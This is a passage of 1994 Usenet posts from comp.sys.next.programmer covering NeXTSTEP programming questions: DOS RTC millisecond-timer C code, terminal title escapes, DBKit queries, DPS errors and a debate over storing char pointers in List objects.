Ulm, Germany Email: unido.uucp!dbulm1!gloger OR gloger%dbulm1.uucp@germany.eu.net ===============================================================================
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.programmer Subject: Re: Millisecond timing, screen blanking, and BIOS on White. Date: 13 Apr 1994 01:11:23 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2ofgrr$evl@agate.berkeley.edu> References: <2oeich$me2@access3.digex.net> In article <2oeich$me2@access3.digex.net> bbthomps@access.digex.net (Bryan Thompson) writes: >The following routines on a 486 running DOS will check the state of certain >keyboard buttons, enable / disable video refresh, and (most importantly for >my needs) compute a time which is accurate in the millisecond range. I am >writing some code to be used in reaction time studies on a 486 system >running NeXTSTEP and I *need* to have very accurate and precise measurements >of the elapsed time between the presentation of a visual stimulus (an image) >and the subject's classification of that image (as recorded by removing >pressure from a keyboard key -- i.e. the subject holds down the shift keys >and alternate keys and releases one key to indicate a decision - this is much >faster than pressing a key once you are used to it). > >Given that introduction, I am asking if I will be able to read the I/O ports >as in the example timer() routine below when running under NeXTSTEP or if >these actions will be construed as a violation of my right to program the >machine. I'm sure that the underlying clock and, especially, the port are >still merrily ticking away when running NS -- tell me if I'm wrong. There is a better timer in the CMOS/RTC chip that can generate 1024Hz interrupts via IRQ8. The code is my old piece of C hack that I used to get 1 msec timing on DOS. You can look at this and AT BIOS listing for IRQ8 handler to see how to use it. This works on most clones we have here. Although messy, it at least does not tamper with the 18.2Hz timer. To use the 1024Hz interrupt from NEXTSTEP, you will have to write a driver (with direct interrupt handling) for NS, as interrupt latency via messaging cannot guaranttee timely handling of interrupts at this rate. You can't possibly keep a msec time count in user-level processes that are pre-empted by the OS. So, you must do it via a driver. Also, I would not trust time stamps associated with key events if you are doing science with it. The best approach, it seems to me, is to write a custom combo driver that handles msec time count and user button presses using a hardware timer chip + digital I/O, so you don't have to rely on keyboard events. There are plenty of data acq boards with these. Of course, I would like to be proven wrong, if someone has actually tested if the time stamp of keyboard events are truly accurate for scientific use. --- TIMER1K.C ---- /* TIMER1K.C -- 1kHz (1024Hz) timer based on RTC interrupt (IRQ8). Warning: This is code for DOS, and ugly hack. This provides a non-blocking timer with ticks running at 1024Hz. "Non-blocking" means that the timer runs while you do other things in your program, instead of program "waiting" or "sleeping" for a duration. This routine uses a little known and hardly utilized RTC (real-time clock) chip which can generate regular periodic interrupts to the main CPU. See AT BIOS listing for INT 50 (70H??) (IRQ8) handler. RTC clock interrupt handler maintains a 32-bit count that represents time to ALARM interrupt in (almost) microseconds. It is a down counter that decrements by 976 (1/1024 sec) every 1/1024 sec. We do flipping of counts so we get a up counter that increments by 1 every 1/1024 sec (see get_RTC_count()). Tested with MSC 5.1. May needs mods for later MSC and Turbo C, C++ shit. */ #include <stdio.h> #include <math.h> #include <dos.h> #define TIMERINT 0x1A /* BIOS Time-of-day/RTC services */ #define CMOS_ADD 0x70 /* I/O address of CMOS address port */ #define CMOS_VAL 0x71 /* I/O address of CMOS data port */ #define MK_FP(seg,ofs) ((void far *) (((unsigned long)(seg) << 16) | (unsigned)(ofs))) static long far *rtc_long; /* VOLATILE. RTC count */ static long maxlong, maxticks; static union REGS inregs, outregs; /* ---- Start RTC interrupt at 1024Hz, and set pointer to RTC data --- */ init_RTC_timer() { int cval; rtc_long = MK_FP (0x40, 0x9C); /* RTC Data Area */ maxlong = 2147483040L; /* =int((2^31-1)/976) * 976 */ maxticks = 2200290L; /* maxlong / 976 */ inregs.h.ah = 7; /* reset RTC alarm */ inregs.h.al = 0; int86(TIMERINT, &inregs, &outregs); /* set alarm so it enables 1024Hz interrupt */ inregs.h.ah = 6; inregs.h.al = 0; inregs.h.ch = 23; inregs.h.cl = 59; inregs.h.dh = 59; int86(TIMERINT, &inregs, &outregs); cval = 0x26; outp(CMOS_ADD, 0x0a); /* address to status A */ outp(CMOS_VAL, cval); outp(CMOS_ADD, 0x0b); /* address to status B */ cval = inp(CMOS_VAL); cval |= 0x60; /* enable PIE, and Alarm Interrupt */ outp(CMOS_ADD, 0x0b); /* address to status B */ outp(CMOS_VAL, cval); /* --- Do it again to make sure --- */ cval = 0x26; outp(CMOS_ADD, 0x0a); /* address to status A */ outp(CMOS_VAL, cval); outp(CMOS_ADD, 0x0b); /* address to status B */ cval = inp(CMOS_VAL); cval |= 0x60; /* enable PIE, and Alarm Interrupt */ outp(CMOS_ADD, 0x0b); /* address to status B */ outp(CMOS_VAL, cval); clear_RTC_count(); } stop_RTC_timer() { int cval; inregs.h.ah = 7; /* reset RTC alarm */ inregs.h.al = 0; int86(TIMERINT, &inregs, &outregs); outp(CMOS_ADD, 0x0b); /* address to status B */ cval = inp(CMOS_VAL); cval &= ~0x60; /* disable PIE, and Alarm Interrupt */ outp(CMOS_ADD, 0x0b); /* address to status B */ outp(CMOS_VAL, cval); } /* Set RTC count as we see it to zero */ clear_RTC_count() { *rtc_long = maxlong; /* rtc decrements by 976 per tick */ } /* Returns RTC count in 1024Hz ticks */ long get_RTC_count() { long microsec, ticks; microsec = *rtc_long; /* This counts down */ ticks = maxticks - (microsec/976L); /* printf("raw=%lu, ticks=%lu\n", microsec, ticks); */ return(ticks); } -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXT and MIME mails OK)
Newsgroups: comp.sys.next.programmer,comp.sys.next.software From: Dennis Edwards Subject: Digital Webster libraries Message-ID: <1994Apr13.023728.8297@cs.wm.edu> Keywords: Webster, libtext, libbtree Sender: dennis@ar.cs.wm.edu (Dennis L Edwards) Organization: College of William & Mary, founded 1693 Date: Wed, 13 Apr 1994 02:37:28 GMT I just received conformation from NeXT Developer Support, libtext and libbtree have not been ported to NS 3. Although the "functionality of these libraries is generally replace by IndexingKit in 3.0", they admit that "there is no replacement for the webster interface." If anyone knows of a good textual interface to NS 3's Digital Webster (that doesn't involve these libraries), I would appreciate hearing about them. Thanks in advance, Dennis Edwards dennis@cs.wm.edu
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Re: Is it possible to change the title bar from the command line? Date: 13 Apr 1994 00:27:24 +0100 Organization: me organised, that's a joke. Message-ID: <2ofaos$1o6@steffi.demon.co.uk> References: <Co5Jwz.xI@usenet.ucs.indiana.edu> irogers@theme.music.indiana.edu (Ian Rogers) wrote in comp.sys.next.programmer,comp.sys.next.misc > >Using Terminal (or Stuart if it's possible), can one change the title >bar from the command-line? > >Please e-mail responses. > >Thanks, >ian >-- > >Ian Rogers >Variations Technical Coordinator, Indiana University Music Library >irogers@indiana.edu Read the online manual in Stuart. I have the following zsh function defined in .cshrc chpwd () { echo -n "^[]2;$USERNAME@$HOST:$(print -D $PWD)^G" } If you want to do in on an adhoc basis then you have to form the escape sequences and echo then whenever. See the stuart utility "osc" for more details relating to stuart. osc _may_ also work with Terminal if all it's doing is outputing the appropriate escape sequence. Usage: osc [directory] [-title aTitle] [-mini aTitle] [-window aTitle] osc sends Stuart OSC sequences to its standard output. If the directory parameter is present, it is sent as part of the Directory-setting OSC sequence. With no parameters, the current working directory is used as the directory. -title causes the next string in the parameter list to be sent as part of a title-setting sequence. -mini is similar except that it only sets the miniwindow title, and -window only sets the main window title. -- "Kill files are for pacifists" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Where is NeXTSTEP native emacs 19? In-Reply-To: jrjesson@netcom.com's message of Tue, 12 Apr 1994 13:58:11 GMT To: jrjesson@netcom.com (J.R. Jesson) Message-ID: <CEDMAN.94Apr12114155@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <jrjessonCo5G4z.GrH@netcom.com> Date: Tue, 12 Apr 1994 15:41:55 GMT In article <jrjessonCo5G4z.GrH@netcom.com> jrjesson@netcom.com (J.R. Jesson) writes: I *think* I remember conversations here months ago about someone doing an emacs 19 native NeXTSTEP port. whatever happened to that? Can I get it? By NeXTSTEP native, I mean a NeXTSTEP alternative to the emacs X-Window interface, not simply emacs 19 running on NeXT. It is currently in beta3 and fully functional. The reason that it wasn't released to the public last weekend is that for the past two weeks a single display bug has been driving me completely batty. As soon as I figure this one out, beta4 will be released and a general public release is expected one week after that. Carl Edman
From: dzuzga@interaccess.com (David E. Zuzga) Newsgroups: comp.sys.next.programmer Subject: fancy relations in DBKit Date: 12 Apr 1994 20:22:20 -0500 Organization: The second InterAccess INN server Message-ID: <dzuzga.766199836@interaccess.com> Does anyone know how to do anything beyond a simple equijoin in DBKit? For example, suppose I have two tables and I want to join them based upon the following conditions: table1.thedate between table2.startdate and table2.enddate, table1.halfhour = table2.halfhour I can get the condition table1.halfhour=table2.halfhour to work just by using the DBModeler, but how can I program the other relationship to work? I think what I really need to do is modify the relationship created by the modeler, but how is this done? Please post or mail replies. dzuzga@interaccess.com
From: bailey@casbah.acns.nwu.edu (William Leeke) Newsgroups: comp.sys.next.programmer Subject: test Date: 13 Apr 1994 04:59:47 GMT Organization: Northwestern University, Evanston IL USA Message-ID: <2ofu83$gl1@news.acns.nwu.edu> hello -- "Art is not a mirror, Art is a hammer!" bailey@casbah.acns.nwu.edu
Newsgroups: comp.sys.next.programmer From: rfi@jeans.fokus.gmd.de (Robert Fischer) Subject: Re: Drag-and-drop session from a Matrix Message-ID: <1994Apr13.063250.1015@fokus.gmd.de> Sender: news@fokus.gmd.de (News system) Organization: GMD-Fokus References: <2o0iuc$5cl@cisun2000.unil.ch> Date: Wed, 13 Apr 1994 06:32:50 GMT In article <2o0iuc$5cl@cisun2000.unil.ch> cartier@iisnext5.unil.ch (Cartier Francois) writes: > Is it feasable to initiate a drag-and-drop session from a Matrix ? > Is it consistent with the user-interface guidelines ? > > We need to be able to do a drag-and-drop from a Matrix to a view in > another screen. So far I have found no example of an application > initiating a drag-and-drop session from a Matrix object. This code does > not work: > I don't know why your code does'nt work but I have another proposal: Is it possible for you to override the Cell class which is used inside the matrix? Then you may override 'trackMouse...' which I've done successfully several times. Greetings, Robert. -- ------------------------------------------------------------------------ Robert Fischer @ GMD-Fokus -------- __o ------- _`\<,_ fischer@fokus.gmd.de ------- (*)/ (*) ## NeXT-Mail welcome ## ------------------------------------------------------------------------
From: omeyer@rwthi3.informatik.rwth-aachen.de (Oliver Meyer) Newsgroups: comp.sys.next.programmer Subject: Re: How to get the REAL USER NAME Date: 13 Apr 1994 08:57:43 GMT Organization: Lehrstuhl fuer Informatik III, RWTH Aachen, Aachen, Germany Distribution: world Message-ID: <2ogc67$104@urmel.informatik.rwth-aachen.de> References: <2o374a$q7d@urmel.informatik.rwth-aachen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Summary: Thanx Thanks to all of you, who answered my questions. Answers and posts ranged from "man getpwent" to complete strips of code. And even a little discussion was raised by my question. THANX Oliver
From: nelsonr@mars.eecs.umich.edu (Nelson R. Manohar) Newsgroups: comp.sys.next.programmer Subject: help with DPS client library errors Date: 13 Apr 1994 07:59:23 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2og8or$apd@zip.eecs.umich.edu> Keywords: DPS errors Can some please explain me how to read these error messages. Are they useful? They occur now and then in a very inconsistent manner, so any light into this phenomena will be greatly appreciated. thanks nelson manohar nelsonr@eecs.umich.edu DPS client library error: PostScript program error, DPSContext 1261e4 %%[ Error: undefined; OffendingCommand: n ]%% DPS client library error: PostScript program error, DPSContext 1261e4 %%[ Error: undefined; OffendingCommand: ]%% DPS client library error: PostScript program error, DPSContext 1261e4 %%[ Error: undefined; OffendingCommand: ]%% DPS client library error: PostScript program error, DPSContext 1261e4 %%[ Error: undefined; OffendingCommand: ]%% DPS client library error: PostScript program error, DPSContext 1261e4 %%[ Error: undefined; OffendingCommand: ]%% An uncaught exception was raised DPS client library error: PostScript program error, DPSContext 1261e4 %%[ Error: undefined; OffendingCommand: ]%% Program exited with code 0377. (gdb) where No stack. -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!4:6UE<RU2;VUA;CM]"EQM M87)G;#$R,`I<;6%R9W(Q,C`*7'!A<F1<='@U-C!<='@Q,3(P7'1X,38X,%QT M>#(R-#!<='@R.#`P7'1X,S,V,%QT>#,Y,C!<='@T-#@P7'1X-3`T,%QT>#4V M,#!<9C!<8C!<:3!<=6QN;VYE7&9S,CA<9F,P7&-F,"!#86X@<V]M92!P;&5A M<V4@97AP;&%I;B!M92!H;W<@=&\@<F5A9"!T:&5S92!E<G)O<B!M97-S86=E M<RY<"D%R92!T:&5Y('5S969U;#\@5&AE>2!O8V-U<B!N;W<@86YD('1H96X@ M:6X@82!V97)Y(&EN8V]N<VES=&5N=%P*;6%N;F5R+"!S;R!A;GD@;&EG:'0@ M:6YT;R!T:&ES('!H96YO;65N82!W:6QL(&)E(&=R96%T;'D@87!P<F5C:6%T M960N7`IT:&%N:W-<"FYE;'-O;B!M86YO:&%R7`IN96QS;VYR0&5E8W,N=6UI M8V@N961U7`I<"D104R!C;&EE;G0@;&EB<F%R>2!E<G)O<CH@4&]S=%-C<FEP M="!P<F]G<F%M(&5R<F]R+"!$4%-#;VYT97AT(#$R-C%E-%P*)25;($5R<F]R M.B!U;F1E9FEN960[($]F9F5N9&EN9T-O;6UA;F0Z(&X@724E7`I$4%,@8VQI M96YT(&QI8G)A<GD@97)R;W(Z(%!O<W138W)I<'0@<')O9W)A;2!E<G)O<BP@ M1%!30V]N=&5X="`Q,C8Q931<"B4E6R!%<G)O<CH@=6YD969I;F5D.R!/9F9E M;F1I;F=#;VUM86YD.B`@724E7`I$4%,@8VQI96YT(&QI8G)A<GD@97)R;W(Z M(%!O<W138W)I<'0@<')O9W)A;2!E<G)O<BP@1%!30V]N=&5X="`Q,C8Q931< M"B4E6R!%<G)O<CH@=6YD969I;F5D.R!/9F9E;F1I;F=#;VUM86YD.B`@724E M7`I$4%,@8VQI96YT(&QI8G)A<GD@97)R;W(Z(%!O<W138W)I<'0@<')O9W)A M;2!E<G)O<BP@1%!30V]N=&5X="`Q,C8Q931<"B4E6R!%<G)O<CH@=6YD969I M;F5D.R!/9F9E;F1I;F=#;VUM86YD.B`@724E7`I$4%,@8VQI96YT(&QI8G)A M<GD@97)R;W(Z(%!O<W138W)I<'0@<')O9W)A;2!E<G)O<BP@1%!30V]N=&5X M="`Q,C8Q931<"B4E6R!%<G)O<CH@=6YD969I;F5D.R!/9F9E;F1I;F=#;VUM M86YD.B`@724E7`I!;B!U;F-A=6=H="!E>&-E<'1I;VX@=V%S(')A:7-E9%P* M1%!3(&-L:65N="!L:6)R87)Y(&5R<F]R.B!0;W-T4V-R:7!T('!R;V=R86T@ M97)R;W(L($104T-O;G1E>'0@,3(V,64T7`HE)5L@17)R;W(Z('5N9&5F:6YE M9#L@3V9F96YD:6YG0V]M;6%N9#H@(%TE)5P*7`I0<F]G<F%M(&5X:71E9"!W K:71H(&-O9&4@,#,W-RY<"BAG9&(I('=H97)E7`I.;R!S=&%C:RY<"@I]"B!W `
From: gpoc@cube.sm.dsi.unimi.it (Gianfranco Pocecai) Newsgroups: comp.sys.next.software,comp.sys.next.hardware,comp.sys.next.advocacy,comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.misc Subject: The Italian NEXTSTEP User Group offers ftpmail service for NEXTSTEP Users Date: 13 Apr 1994 09:40:56 GMT Organization: Computer Science Dep. - Milan University Distribution: world Message-ID: <2ogen8$4rc@ghost.sm.dsi.unimi.it> The Italian NEXTSTEP User Group offers ftpmail service for NEXTSTEP Users. Ftpmail is an email->ftp gateway. Just send your requests to ftpmail@cube.sm.dsi.unimi.it. It will ftp the files and send them back to you via email. You can get the list of valid commands to the ftpmail gateway by sending an email to ftpmail@cube.sm.dsi.unimi.it with 'help' in the body of the message. The default ftp site is the Italian NEXTSTEP User Group ftp site. There you can find a lot of MAB software + submissions from cs.orst.edu & sonata.cc.purdue.edu + NeXTAsnwers + FAQs + images + sounds + OOP stuff + MathPackages + Benchmarks + ... And now happy mailing!!! Gianfranco -- Gianfranco Pocecai President of The Italian NEXTSTEP User Group University of Milano - Computer Science Department Via Comelico, 39/41 20135 Milano - Italy E-mail : gpoc@cube.sm.dsi.unimi.it
From: not-for-mail@rubb.rz.ruhr-uni-bochum.de (anonymous ) Newsgroups: comp.sys.next.programmer Subject: services in the background? Date: Wed, 13 Apr 1994 12:16 MDZ Organization: RZ Ruhr-Universitaet Bochum Distribution: world Message-ID: <19940413121645.not-for-mail@CD41026.rz.ruhr-uni-bochum.de> How to offer a service which keeps completly in the background (like Terminal.app)? Thanks in advance. Please E-Mail to stefan.boehringer@ruba.rz.ruhr-uni-bochum.de
Newsgroups: comp.sys.next.programmer From: thsscvc@iitmax.iit.edu (Chris Conley) Subject: getting next event to check if there is a mouseUp Message-ID: <1994Apr13.053910.17848@iitmax.iit.edu> Keywords: getNextEvent NX_MOUSEDRAGGEDMASK|NX_MOUSEUPMASK Organization: Illinois Institute of Technology / Academic Computing Center Date: Wed, 13 Apr 94 05:39:10 GMT Hello world, Before I tell you my troubles with getNextEvent, maybe I am approaching the problem improperly. I want to know the difference in a slider's value from one moment to the next as the user is sliding it. There are 10 circles and the sum of their areas is constant. I use a slider to change the area of one of them. While I'm changing that, I want to subtract "changeInValue/numberOfCircles." from each of the remaining circles. The changeInValue is currentValue-previousValue. I'm trying to use getNextEvent to set a flag when the mouseGoes up after dragging. Here's the code: (We're in the target method of the slider) - setXValueForEntity:sender { NXEvent *event; int oldMask = [[myWhiteBoard window] addToEventMask:NX_MOUSEDRAGGEDMASK|NX_MOUSEUPMASK]; event = [NXApp getNextEvent:NX_MOUSEUPMASK|NX_MOUSEDRAGGEDMASK]; if(event->type == NX_MOUSEDRAGGED){ // calculate increment // call to have all entites updated } else { // We're done dragging oldValue = NO; [[myWhiteBoard window] setEventMask:oldMask]; } [myDataSet changeValueForAttribute:xAxis ofEntity:selectedElement to:[sender intValue]]; [xSliderValField setIntValue:([sender intValue]/BASE)]; [self refresh]; // This just redraws everything return self; } Things seem to work in a quirky way. At one point it seems the event queue gets behind and my program is out of step. What aren't I getting? Thanks for any tips. Chris Conley Institute of Design Chicago
From: marit@pz-oekosys.uni-kiel.d400.de Newsgroups: comp.sys.next.programmer Subject: Sorting with the DBKit Date: Wed, 13 Apr 1994 14:29:55 Organization: Ecosystem Research Centre Message-ID: <marit.267.000E801F@pz-oekosys.uni-kiel.d400.de> Hi! I fetch data of an ORACLE database and I want to show them in alphabetical order. Therefore I use the line [ recordList addRetrieveOrder: DB_AscendingOrder for: sortProperty ]; which doesn't work properly. I don't recognize an order, especially not of the chosen sortProperty. No error message occurs. If I change the sortProperty or the order (e.g. DB_DescendingOrder), the output doesn't change. I tried the same with a SYBASE database - with the same result. Does anybody know a solution for my problem? My configuration: NEXTSTEP 3.2, i486, ORACLE 7 Thanks in advance, Marit
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: List and char *'s Message-ID: <1994Apr13.124203.1686@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <2o8kbo$79u@steffi.demon.co.uk> <2oebda$9vd@rosie.next.com> Date: Wed, 13 Apr 1994 12:42:03 GMT In article <2oebda$9vd@rosie.next.com> Ali_Ozer@NeXT.com (Ali Ozer) writes: >In article <2o8kbo$79u@steffi.demon.co.uk> Robert Nicholson writes: >> NeXT have now released code that uses char *'s in a List Object. >> What's the concensus about this? I know a lot of people feel strongly >> about doing that since I don't think size of struct Object * is always >> guarantteed to equal sizeof char * > >The biggest problem here isn't that sizeof(id) might be different than >sizeof(char *) some day... It's passing a non-object where an object is >called for. What if List decided to send a message to its elements? >How do those elements go across DO? Although putting strings in a List >is less likely to break than putting floats, it's still as evil. You talk as if the parts of a program are free-floating intelligent entities! How can List "decide" to send a message to it's elements? Doesn't the app designer have a say in all this? List is an incredibly _useful_ object. So long as you know what you're doing, there's nothing even remotely evil about misusing it. Yes, it would be the height of stupidity to be in a team of programmers and to create an object that has a method -stringList (say) that returns a List of char *'s. But all you have to do is make sure that your misuse of List remains _internal_. You have to use your brain _sometimes_ while programming. You could as well argue against returning an array of character pointers (char **) in case somebody "accidently" sent it a message! Dave Griffiths
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: List and char *'s Message-ID: <1994Apr13.130919.1768@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <2o8kbo$79u@steffi.demon.co.uk> <Co4Jv9.wn@friday.com> Date: Wed, 13 Apr 1994 13:09:19 GMT In article <Co4Jv9.wn@friday.com> bbum@friday.com writes: > >NEXTSTEP is a DYNAMIC operating system that provides a bitchin' powerful >runtime environment-- stupidty such as the above only works against the >move to a real, fully-integrated, powerful and flexible working >environment... Your dream of how things _should_ be is light years away from reality. There are far more important things to worry about than minor internal abuses of List. The real problems are at a much higher level. Presumably the NeXT Examples provide reasonable models of how we should do things, but look at Draw for instance. Looking after the trees doesn't help you design a good wood. You want a "fully-integrated... flexible environment". Take drag and drop for instance. I don't care about the details, but the overall mechanism just isn't flexible enough. An example: say you're in a team and someone wants to mail you a list of files that they've modified. Not the actual files, just a list of their names. Imagine if that list arrived as an icon/object in your mail. You drag the icon onto a directory in the WM and it automatically selects them. Cool huh? Is NS flexible enough to allow this? No. The drag and drop mechanism is too limited. It didn't have to be that way. It could have been designed to allow some sort of "active" object, that has a dialogue with the WM when it is dropped. It's design decisions at _this_ level that are important, not low-level implementation "stupidities". Dave Griffiths Dave Griffiths
Newsgroups: comp.sys.next.programmer From: davis@sonata.cc.purdue.edu (Robert Davis) Subject: Drag-n-Drop is limited (was Re: List and char *'s) Sender: news@mozo.cc.purdue.edu (USENET News) Message-ID: <Co7BpC.CMM@mozo.cc.purdue.edu> Date: Wed, 13 Apr 1994 14:17:36 GMT References: <2o8kbo$79u@steffi.demon.co.uk> <Co4Jv9.wn@friday.com> <1994Apr13.130919.1768@prim.demon.co.uk> Organization: Purdue University, West Lafayette, IN In article <1994Apr13.130919.1768@prim.demon.co.uk>, Dave Griffiths <dave@prim.demon.co.uk> wrote: > >You want a "fully-integrated... flexible environment". Take drag and drop >for instance. I don't care about the details, but the overall mechanism >just isn't flexible enough. An example: say you're in a team and someone >wants to mail you a list of files that they've modified. Not the actual files, >just a list of their names. Imagine if that list arrived as an icon/object >in your mail. You drag the icon onto a directory in the WM and it automatically >selects them. Cool huh? Is NS flexible enough to allow this? No. The drag >and drop mechanism is too limited. It didn't have to be that way. It could >have been designed to allow some sort of "active" object, that has a >dialogue with the WM when it is dropped. > The "active object" idea is neat, but I'm not sure your example needs it. Why can't you, under the existing drag-n-drop paradigm, just write the list of filenames to the drag pboard. It seems like the Workspace Manager is the problem here. It could handle a list of files differently (by selecting them instead of copying them) based on certain criteria -- a certain key combination, maybe, or a user preference. Rob -- | Robert Davis davis@sonata.cc.purdue.edu | "Look up, Hannah. The clouds are lifting." NeXT Mail accepted --
Newsgroups: comp.sys.next.programmer From: ralf@rafa.in-berlin.de (Ralf Neumann) Subject: Send me pictures for /LocalLibrary/Images/People Message-ID: <1994Apr13.071846.7246@rafa.in-berlin.de> Sender: ralf@rafa.in-berlin.de Organization: DRN Date: Wed, 13 Apr 1994 07:18:46 GMT Hallo, After I installed the faces.tar.Z from cs.orst. I am missing nearly everybody from the next newsgroup. I will be very happy to see who is writing so please send me small pictures by NeXT-email. But take care that they are really really small (hope not to get to much flames but sorry what's multimedia without medias ?-) and from the size not bigger than 64x64 pixels. Please remember: give it the correct name i.e.: fuuu@grgrgrg.bla.com must be fuu.grgrgrg.bla.com.tiff Thanks a lot in advance Ralf If I get enough together I will put them on an ftp-server and post where to get them or send them to Carl Edman who is moderating the faces library since a long time. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% *| Ralf Neumann | ralf@rafa.in-berlin.de | Try NeXTmail please! |* *| ************ | Voice +49 30 / 321 78 84 | Fax +49 30 / 321 28 68|* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: List and char *'s Date: 13 Apr 1994 14:49:35 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2oh0pv$bd2@rosie.next.com> References: <1994Apr13.124203.1686@prim.demon.co.uk> In article <1994Apr13.124203.1686@prim.demon.co.uk> Dave Griffiths writes: > In article <2oebda$9vd@rosie.next.com> Ali_Ozer@NeXT.com (Ali Ozer) writes: > >The biggest problem here isn't that sizeof(id) might be different than > >sizeof(char *) some day... It's passing a non-object where an object is > >called for. What if List decided to send a message to its elements? > You talk as if the parts of a program are free-floating intelligent > entities! How can List "decide" to send a message to it's elements? List comes to you in a shared library released by NeXT. Given that NeXT's releases have been binary compatible, your app running under a new release starts using a different shared library, where some of the existing objects have been changed. This sometimes includes major implementation changes which try to preserve and work within the existing API. Usually this is successful. Other times incompatibilities which break a few things are introduced. As long as NeXT can catch these latter cases, they are avoided. So, a new compatible release is one way the List class can "decide" to act differently. I imagine that in practice, as far as List is concerned, this probably wouldn't happen: List is a very open class, and it has been used and abused in many different ways. Any change like this and we'd probably find a few apps crashing. But this sort of change does happen for some of the higher level classes. The bottomline is: Don't assume something obviously fishy which works in a given release will keep on working in other releases. It might be hard to define "fishy," but getting around the API by passing char * instead of id is a good example. Ali, Ali_Ozer@NeXT.com
From: ernest@pundit.cithep.caltech.edu (Ernest Prabhakar) Newsgroups: comp.sys.next.programmer Subject: Re: Drag-n-Drop is limited (was Re: List and char *'s) Date: 13 Apr 1994 16:36:44 GMT Organization: California Institute of Technology, Pasadena Message-ID: <ERNEST.94Apr13093645@pundit.cithep.caltech.edu> References: <2o8kbo$79u@steffi.demon.co.uk> <Co4Jv9.wn@friday.com> <1994Apr13.130919.1768@prim.demon.co.uk> <Co7BpC.CMM@mozo.cc.purdue.edu> In-reply-to: davis@sonata.cc.purdue.edu's message of Wed, 13 Apr 1994 14:17:36 GMT Dave Griffiths <dave@prim.demon.co.uk> wrote: > >You want a "fully-integrated... flexible environment". Take drag and drop >for instance. I don't care about the details, but the overall mechanism >just isn't flexible enough. An example: say you're in a team and someone >wants to mail you a list of files that they've modified. Not the actual files, >just a list of their names. Imagine if that list arrived as an icon/object >in your mail. You drag the icon onto a directory in the WM and it automatically >selects them. Cool huh? Is NS flexible enough to allow this? No. The drag >and drop mechanism is too limited. It didn't have to be that way. It could >have been designed to allow some sort of "active" object, that has a >dialogue with the WM when it is dropped. > Actually, this particular case CAN be easily handled. Just click "non-NeXTmail" and it will automatically paste filenames in INSTEAD of the actual files. In fact, I could argue that Drag-n-Drop is extremely powerful because you CAN message the workspace for information. The limitation is more as to what the applications can ask of it, plus the difficulty of providing a good user interface to all these extra options you'd like to have. -- Ernie P. Ernest N. Prabhakar Caltech High Energy Physics Member, League for Programming Freedom (league@prep.ai.mit.edu) CaJUN President NeXTMail:ernest@pundit.cithep.caltech.edu "...and ourselves, your servants for Jesus' sake." - II Cor 4:5b #import <std/disclaimer.h> -- Ernest N. Prabhakar Caltech High Energy Physics Member, League for Programming Freedom (league@prep.ai.mit.edu) CaJUN President NeXTMail:ernest@pundit.cithep.caltech.edu "...and ourselves, your servants for Jesus' sake." - II Cor 4:5b #import <std/disclaimer.h>
From: tbm@tci002.uibk.ac.at (Martin Michlmayr) Newsgroups: comp.sys.next.programmer Subject: Learning Objective-C Date: 13 Apr 1994 18:08:55 GMT Organization: University of Innsbruck, AUSTRIA Message-ID: <2ohcfn$cpg@news.uibk.ac.at> Keywords: Objective, C Hi, Could anyone out there help me, please. I am looking for informations (maybe a book) to learn Objective-C. I know C, but not much (nothing) about OOP. So is there a good (easy to learn) book or a online FTP/Site, which is based on NEXTSTEP. (maybe in the german-language) Please mail me. Thanks, -N-----------------------------------------------------------------------S- E Martin Michlmayr <tbm@tci2.uibk.ac.at> T X - Everything you know is wrong - U2 - E -T-----------------------------------------------------------------------P-
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: help with DPS client library errors In-Reply-To: nelsonr@mars.eecs.umich.edu's message of 13 Apr 1994 07:59:23 GMT Message-ID: <BYER.94Apr13103737@embassy.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <2og8or$apd@zip.eecs.umich.edu> Date: Wed, 13 Apr 1994 17:37:37 GMT Nelson R Manohar writes: Nelson> Can some please explain me how to read these error messages. Are Nelson> they useful? They occur now and then in a very inconsistent manner, Nelson> so any light into this phenomena will be greatly appreciated. Nelson> %%[ Error: undefined; OffendingCommand: n ]%% Nelson> %%[ Error: undefined; OffendingCommand: ]%% Nelson> %%[ Error: undefined; OffendingCommand: ]%% Nelson> ... This says that someone handed what is most likely some garbage to the interpreter. Check places where you hand down a string for execution to make sure what is being handed down is valid. Or, it could be that the PostScript really did intend to execute "n" as an operator, just that the definition never got sent down. Look in the Librarian for "DPSError" in the ClientLibSummary (Summaries/05_DisplayPS) a take a look at the functions there. You should be able to catch your application just after it has sent the offending PostScript by placing a breakpoint on one or more of those functions. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === === Absolute faith corrupts as absolutely as absolute power.
